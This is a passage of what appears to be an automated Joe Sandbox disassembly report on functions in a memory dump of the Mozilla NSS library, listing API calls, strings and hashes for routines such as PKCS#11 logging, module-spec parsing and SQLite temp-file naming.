PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC88BF4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC88C03

Part of subcall function 6CD6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC88C19
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CC88C3F
PR_LogPrint.NSS3( pPublicKeyTemplate = 0x%p,?), ref: 6CC88C5A
PR_LogPrint.NSS3( ulPublicKeyAttributeCount = %d,?), ref: 6CC88C73
PR_LogPrint.NSS3( pPrivateKeyTemplate = 0x%p,?), ref: 6CC88C8C
PR_LogPrint.NSS3( ulPrivateKeyAttributeCount = %d,?), ref: 6CC88CA7
PR_LogPrint.NSS3( phPublicKey = 0x%p,?), ref: 6CC88CC2
PR_LogPrint.NSS3( phPrivateKey = 0x%p,?), ref: 6CC88CE7
PL_strncpyz.NSS3(?, *phPublicKey = 0x%x,00000050), ref: 6CC88D92
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC88DA1
PR_LogPrint.NSS3(?,00000000), ref: 6CC88DB7
PL_strncpyz.NSS3(?, *phPrivateKey = 0x%x,00000050), ref: 6CC88DEB
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC88DFA

Part of subcall function 6CC40F00: PR_GetPageSize.NSS3(6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000,?,6CBD204A), ref: 6CC40F1B
Part of subcall function 6CC40F00: PR_NewLogModule.NSS3(clock,6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000,?,6CBD204A), ref: 6CC40F25

PR_LogPrint.NSS3(?,00000000), ref: 6CC88E10

Strings

pMechanism = 0x%p, xrefs: 6CC88C3A
*phPrivateKey = 0x%x, xrefs: 6CC88DD5, 6CC88DE5
*phPublicKey = 0x%x, xrefs: 6CC88D7C, 6CC88D8C
pPrivateKeyTemplate = 0x%p, xrefs: 6CC88C87
ulPublicKeyAttributeCount = %d, xrefs: 6CC88C6E
ulPrivateKeyAttributeCount = %d, xrefs: 6CC88CA2
(CK_INVALID_HANDLE), xrefs: 6CC88BFC, 6CC88D9A, 6CC88DF3
phPrivateKey = 0x%p, xrefs: 6CC88CE2
pPublicKeyTemplate = 0x%p, xrefs: 6CC88C55
hSession = 0x%x, xrefs: 6CC88BDE, 6CC88BEE
phPublicKey = 0x%p, xrefs: 6CC88CBD
C_GenerateKeyPair, xrefs: 6CC88BC1

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn$ModulePageSize
String ID: *phPrivateKey = 0x%x$ *phPublicKey = 0x%x$ hSession = 0x%x$ pMechanism = 0x%p$ pPrivateKeyTemplate = 0x%p$ pPublicKeyTemplate = 0x%p$ phPrivateKey = 0x%p$ phPublicKey = 0x%p$ ulPrivateKeyAttributeCount = %d$ ulPublicKeyAttributeCount = %d$ (CK_INVALID_HANDLE)$C_GenerateKeyPair
API String ID: 510426473-985563836
Opcode ID: 49f72fa3d2028b300a200498d2f6f95626507e50007a6c452c93e3a961e6942a
Instruction ID: 019c5b1f1d632df97bb4bd0a7caadf745291a3d614050ac7d6d5ddde13148cd1
Opcode Fuzzy Hash: 49f72fa3d2028b300a200498d2f6f95626507e50007a6c452c93e3a961e6942a
Instruction Fuzzy Hash: 0661B8B5A02105EFEB00CF05DD48E9B7B76AB4634DF094466E9096BF61E730A81CCBB5

Function 6CC828A0 Relevance: 49.2, APIs: 12, Strings: 16, Instructions: 155COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetTokenInfo), ref: 6CC828BD
PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6CC828EF

Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(?), ref: 6CD60B88
Part of subcall function 6CD609D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD60C5D
Part of subcall function 6CD609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD60C8D
Part of subcall function 6CD609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60C9C
Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(?), ref: 6CD60CD1
Part of subcall function 6CD609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD60CEC
Part of subcall function 6CD609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60CFB
Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD60D16
Part of subcall function 6CD609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CD60D26
Part of subcall function 6CD609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60D35
Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CD60D65
Part of subcall function 6CD609D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CD60D70
Part of subcall function 6CD609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD60D90
Part of subcall function 6CD609D0: free.MOZGLUE(00000000), ref: 6CD60D99

Part of subcall function 6CC40F00: PR_GetPageSize.NSS3(6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000,?,6CBD204A), ref: 6CC40F1B
Part of subcall function 6CC40F00: PR_NewLogModule.NSS3(clock,6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000,?,6CBD204A), ref: 6CC40F25

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CC828D6

Part of subcall function 6CD609D0: PR_Now.NSS3 ref: 6CD60A22
Part of subcall function 6CD609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD60A35
Part of subcall function 6CD609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD60A66
Part of subcall function 6CD609D0: PR_GetCurrentThread.NSS3 ref: 6CD60A70
Part of subcall function 6CD609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD60A9D
Part of subcall function 6CD609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD60AC8
Part of subcall function 6CD609D0: PR_vsmprintf.NSS3(?,?), ref: 6CD60AE8
Part of subcall function 6CD609D0: EnterCriticalSection.KERNEL32(?), ref: 6CD60B19
Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD60B48
Part of subcall function 6CD609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD60C76
Part of subcall function 6CD609D0: PR_LogFlush.NSS3 ref: 6CD60C7E

PR_LogPrint.NSS3( label = "%.32s",?), ref: 6CC82963
PR_LogPrint.NSS3( manufacturerID = "%.32s",?), ref: 6CC82983
PR_LogPrint.NSS3( model = "%.16s",?), ref: 6CC829A3
PR_LogPrint.NSS3( serial = "%.16s",?), ref: 6CC829C3
PR_LogPrint.NSS3( flags = %s %s %s %s,CKF_RNG,CKF_WRITE_PROTECTED,CKF_LOGIN_REQUIRED,?), ref: 6CC82A26
PR_LogPrint.NSS3( maxSessions = %u, Sessions = %u,?,?), ref: 6CC82A48
PR_LogPrint.NSS3( maxRwSessions = %u, RwSessions = %u,?,?), ref: 6CC82A66
PR_LogPrint.NSS3( hardware version: %d.%d,?,?), ref: 6CC82A8E
PR_LogPrint.NSS3( firmware version: %d.%d,?,?), ref: 6CC82AB6

Strings

slotID = 0x%x, xrefs: 6CC828D1
manufacturerID = "%.32s", xrefs: 6CC8297E
flags = %s %s %s %s, xrefs: 6CC82A21
firmware version: %d.%d, xrefs: 6CC82AB1
label = "%.32s", xrefs: 6CC8295E
maxRwSessions = %u, RwSessions = %u, xrefs: 6CC82A61
CKF_LOGIN_REQUIRED, xrefs: 6CC829F3, 6CC82A1E
CKF_USER_PIN_INIT, xrefs: 6CC829E5
serial = "%.16s", xrefs: 6CC829BE
hardware version: %d.%d, xrefs: 6CC82A89
pInfo = 0x%p, xrefs: 6CC828EA
model = "%.16s", xrefs: 6CC8299E
CKF_RNG, xrefs: 6CC82A13, 6CC82A20
C_GetTokenInfo, xrefs: 6CC828B8
CKF_WRITE_PROTECTED, xrefs: 6CC829FE, 6CC82A1F
maxSessions = %u, Sessions = %u, xrefs: 6CC82A43

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Print$DebugOutputString$fflushfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushModulePageR_vsmprintfR_vsnprintfSectionSizeThreadTimefputcfreememcpy
String ID: firmware version: %d.%d$ flags = %s %s %s %s$ hardware version: %d.%d$ label = "%.32s"$ manufacturerID = "%.32s"$ maxRwSessions = %u, RwSessions = %u$ maxSessions = %u, Sessions = %u$ model = "%.16s"$ pInfo = 0x%p$ serial = "%.16s"$ slotID = 0x%x$CKF_LOGIN_REQUIRED$CKF_RNG$CKF_USER_PIN_INIT$CKF_WRITE_PROTECTED$C_GetTokenInfo
API String ID: 2460313690-1106672779
Opcode ID: a75f293072a77550bcac9a837944b6e93a0e9b275085873bdf049930e2183f39
Instruction ID: 27c8703f81550a6ce11e4043cba2ab74c3c1e535f1a908b35b4ef8cea07b7d55
Opcode Fuzzy Hash: a75f293072a77550bcac9a837944b6e93a0e9b275085873bdf049930e2183f39
Instruction Fuzzy Hash: C351ECF1501040FFFB108B50DD9DB663BBAAB4124DF498076E9099BB62E731E848CB65

Function 6CC66BF0 Relevance: 49.1, APIs: 19, Strings: 9, Instructions: 148COMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(6CDA0148,?,?,?,?,6CC66DC2), ref: 6CC66BFF
PR_smprintf.NSS3(%s manufacturerID='%s',00000000,?,6CC66DC2), ref: 6CC66C1C

Part of subcall function 6CC3C5E0: free.MOZGLUE(?,?,?,?,00000000,00000001,?,6CC41FBD,Unable to create nspr log file '%s',00000000), ref: 6CC3C63B

free.MOZGLUE(00000000,?,?,?,6CC66DC2), ref: 6CC66C27
PR_smprintf.NSS3(%s libraryDescription='%s',00000000,?,6CC66DC2), ref: 6CC66C45
free.MOZGLUE(00000000,?,?,?,6CC66DC2), ref: 6CC66C50
PR_smprintf.NSS3(%s cryptoTokenDescription='%s',00000000,?,6CC66DC2), ref: 6CC66C71
free.MOZGLUE(00000000,?,?,?,6CC66DC2), ref: 6CC66C7C
PR_smprintf.NSS3(%s dbTokenDescription='%s',00000000,?,6CC66DC2), ref: 6CC66C9D
free.MOZGLUE(00000000,?,?,?,6CC66DC2), ref: 6CC66CA8
PR_smprintf.NSS3(%s cryptoSlotDescription='%s',00000000,?,6CC66DC2), ref: 6CC66CC9
free.MOZGLUE(00000000,?,?,?,6CC66DC2), ref: 6CC66CD4
PR_smprintf.NSS3(%s dbSlotDescription='%s',00000000,?,6CC66DC2), ref: 6CC66CF5
free.MOZGLUE(00000000,?,?,?,6CC66DC2), ref: 6CC66D00
PR_smprintf.NSS3(%s FIPSSlotDescription='%s',00000000,?,6CC66DC2), ref: 6CC66D1D
free.MOZGLUE(00000000,?,?,?,6CC66DC2), ref: 6CC66D28
PR_smprintf.NSS3(%s FIPSTokenDescription='%s',00000000,?,6CC66DC2), ref: 6CC66D45
free.MOZGLUE(00000000,?,?,?,6CC66DC2), ref: 6CC66D50
PR_smprintf.NSS3(%s minPS=%d,00000000,?,6CC66DC2), ref: 6CC66D68
free.MOZGLUE(00000000,?,?,?,6CC66DC2), ref: 6CC66D73

Strings

%s minPS=%d, xrefs: 6CC66D63
%s FIPSTokenDescription='%s', xrefs: 6CC66D40
%s libraryDescription='%s', xrefs: 6CC66C40
%s dbTokenDescription='%s', xrefs: 6CC66C98
%s manufacturerID='%s', xrefs: 6CC66C17
%s dbSlotDescription='%s', xrefs: 6CC66CF0
%s cryptoSlotDescription='%s', xrefs: 6CC66CC4
%s cryptoTokenDescription='%s', xrefs: 6CC66C6C
%s FIPSSlotDescription='%s', xrefs: 6CC66D18

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: R_smprintffree
String ID: %s FIPSSlotDescription='%s'$%s FIPSTokenDescription='%s'$%s cryptoSlotDescription='%s'$%s cryptoTokenDescription='%s'$%s dbSlotDescription='%s'$%s dbTokenDescription='%s'$%s libraryDescription='%s'$%s manufacturerID='%s'$%s minPS=%d
API String ID: 657075589-3414793728
Opcode ID: 170d7bbf206a033b45b2550f9b2f3894354084f53ebab1c634c43643ac56b680
Instruction ID: 9e858a1f928a22da28a296f2b53c148843b7412ccb96398ad0107823becae4e0
Opcode Fuzzy Hash: 170d7bbf206a033b45b2550f9b2f3894354084f53ebab1c634c43643ac56b680
Instruction Fuzzy Hash: 664184B7A0282127B7006AA6AD86DBB395CADC11D87190134FC1DC7F01FA32C91992F6

Function 6CC40AA0 Relevance: 45.7, APIs: 24, Strings: 2, Instructions: 227libraryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CC40AD4

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

PR_EnterMonitor.NSS3 ref: 6CC40B0D
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 6CC40B2E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 6CC40B54
WideCharToMultiByte.KERNEL32 ref: 6CC40B94
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CC40BC9
calloc.MOZGLUE(00000001,00000014), ref: 6CC40BEA
LoadLibraryExW.KERNEL32(?,00000000,?), ref: 6CC40C15

Strings

error %d, xrefs: 6CC40D08
Loaded library %s (load lib), xrefs: 6CC40D6F

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$EnterErrorLibraryLoadMonitorValuecalloc
String ID: Loaded library %s (load lib)$error %d
API String ID: 2139286163-2368894446
Opcode ID: 89201f16f8f5e1ab7e043a1a6ca9a75e69d2fa545266de5455df6aa7a158f537
Instruction ID: 21cd643291fb768f7350533435fa43cba00cd28f1d95b62caa57fefe1a7cf879
Opcode Fuzzy Hash: 89201f16f8f5e1ab7e043a1a6ca9a75e69d2fa545266de5455df6aa7a158f537
Instruction Fuzzy Hash: 1871F6B0E44250DBEB109F79DC84B6A7BBCEF55364F04C169E909D7640FB319A44CB92

Function 6CC8CB70 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 225fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSS_OUTPUT_FILE,6CCA444C,00000000,00000000,00000000,?,6CC67F7C,6CC680DD), ref: 6CC8CB8B

Part of subcall function 6CC41240: TlsGetValue.KERNEL32(00000040,?,6CC4116C,NSPR_LOG_MODULES), ref: 6CC41267
Part of subcall function 6CC41240: EnterCriticalSection.KERNEL32(?,?,?,6CC4116C,NSPR_LOG_MODULES), ref: 6CC4127C
Part of subcall function 6CC41240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CC4116C,NSPR_LOG_MODULES), ref: 6CC41291
Part of subcall function 6CC41240: PR_Unlock.NSS3(?,?,?,?,6CC4116C,NSPR_LOG_MODULES), ref: 6CC412A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CD9DEB5,?,6CCA444C,00000000,00000000,00000000,?,6CC67F7C,6CC680DD), ref: 6CC8CB9D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,?,6CCA444C,00000000,00000000,00000000,?,6CC67F7C,6CC680DD), ref: 6CC8CBAE
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000,?,?,?,?,?,?,?,?,?,6CCA444C,00000000,00000000,00000000), ref: 6CC8CBE6
PR_IntervalToMicroseconds.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CCA444C,00000000,00000000,00000000), ref: 6CC8CC37
PR_IntervalToMilliseconds.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CCA444C,00000000,00000000), ref: 6CC8CCA4
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CC8CD84
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CCA444C,00000000), ref: 6CC8CDA6
PR_IntervalToMilliseconds.NSS3(6CCA444C,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CCA444C), ref: 6CC8CE02
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC8CE59
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001), ref: 6CC8CE64
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC8CE72

Strings

# Calls, xrefs: 6CC8CBC8
%25s %10d %10d%2s, xrefs: 6CC8CE33
Avg., xrefs: 6CC8CBBE
Maximum number of concurrent open sessions: %d, xrefs: 6CC8CE4A
%-25s %10s %12s %12s %10s, xrefs: 6CC8CBD2
%-25s %10d %10d%2s , xrefs: 6CC8CCD3
% Time, xrefs: 6CC8CBB9
NSS_OUTPUT_FILE, xrefs: 6CC8CB86
Function, xrefs: 6CC8CBCD
Totals, xrefs: 6CC8CE2E

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Intervalfputc$Milliseconds__acrt_iob_func$CriticalEnterMicrosecondsSectionSecureUnlockValuefclosefflushfopengetenv
String ID: Maximum number of concurrent open sessions: %d$# Calls$% Time$%-25s %10d %10d%2s $%-25s %10s %12s %12s %10s$%25s %10d %10d%2s$Avg.$Function$NSS_OUTPUT_FILE$Totals
API String ID: 2795105899-3917921256
Opcode ID: 107663d293d046309f519de2d6a46ac9afdc5b95508cc8d93a9c1c146269be56
Instruction ID: 34e4c40c7fca63eb14306e8c5da91934851adaf9b0488cbe23c9c2ed722db322
Opcode Fuzzy Hash: 107663d293d046309f519de2d6a46ac9afdc5b95508cc8d93a9c1c146269be56
Instruction Fuzzy Hash: E4718C72E062405BE701B77E9C41A6FBA38AFC634CF14872AF90577F61F731585482A2

Function 6CD26E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBDCA30: EnterCriticalSection.KERNEL32(?,?,?,6CC3F9C9,?,6CC3F4DA,6CC3F9C9,?,?,6CC0369A), ref: 6CBDCA7A
Part of subcall function 6CBDCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CBDCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CBEBE66), ref: 6CD26E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CBEBE66), ref: 6CD26E98
sqlite3_snprintf.NSS3(?,00000000,6CD8AAF9,?,?,?,?,?,?,6CBEBE66), ref: 6CD26EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CBEBE66), ref: 6CD26ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CBEBE66), ref: 6CD26EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CBEBE66), ref: 6CD26F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CBEBE66), ref: 6CD26F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CBEBE66), ref: 6CD26F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CBEBE66), ref: 6CD26FA6
sqlite3_snprintf.NSS3(?,00000000,6CD8AAF9,00000000,?,?,?,?,?,?,?,6CBEBE66), ref: 6CD26FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CBEBE66), ref: 6CD26FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CBEBE66), ref: 6CD26FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CBEBE66), ref: 6CD27014
sqlite3_free.NSS3(00000000,?,?,?,?,6CBEBE66), ref: 6CD2701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CBEBE66), ref: 6CD27030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CBEBE66), ref: 6CD2705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CBEBE66), ref: 6CD27079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CBEBE66), ref: 6CD27097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CBEBE66), ref: 6CD270A0

Strings

winGetTempname1, xrefs: 6CD2708F
winGetTempname4, xrefs: 6CD27046
winGetTempname5, xrefs: 6CD27071
winGetTempname2, xrefs: 6CD270C4
mz_etilqs_, xrefs: 6CD26F18

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: dcd0d5296893c1ffccd6d9a4db5688e4c02863cab5d953ff3e15c4d3d52adf82
Instruction ID: b4129992e95b9d132f277d9ee9ce6e55f9d906cc5776829205934f1de59ac56f
Opcode Fuzzy Hash: dcd0d5296893c1ffccd6d9a4db5688e4c02863cab5d953ff3e15c4d3d52adf82
Instruction Fuzzy Hash: 48514AA1E042116BF7109730DC61BBF36669B8231CF154538EA0596FE1FF29A50EC2E2

Function 6CCB4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC675C2,00000000,00000000,00000001), ref: 6CCB5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC675C2,00000000), ref: 6CCB5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CCB505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CCB5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCB5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCB50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CCB50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC675C2), ref: 6CCB50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CCB50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CCB50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCB5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCB511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCB512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCB5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCB5153
free.MOZGLUE(?), ref: 6CCB516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CCB517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CCB5195

Strings

library=, xrefs: 6CCB5043
nss=, xrefs: 6CCB5083
parameters=, xrefs: 6CCB506B
name=, xrefs: 6CCB5057
config=, xrefs: 6CCB509B

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
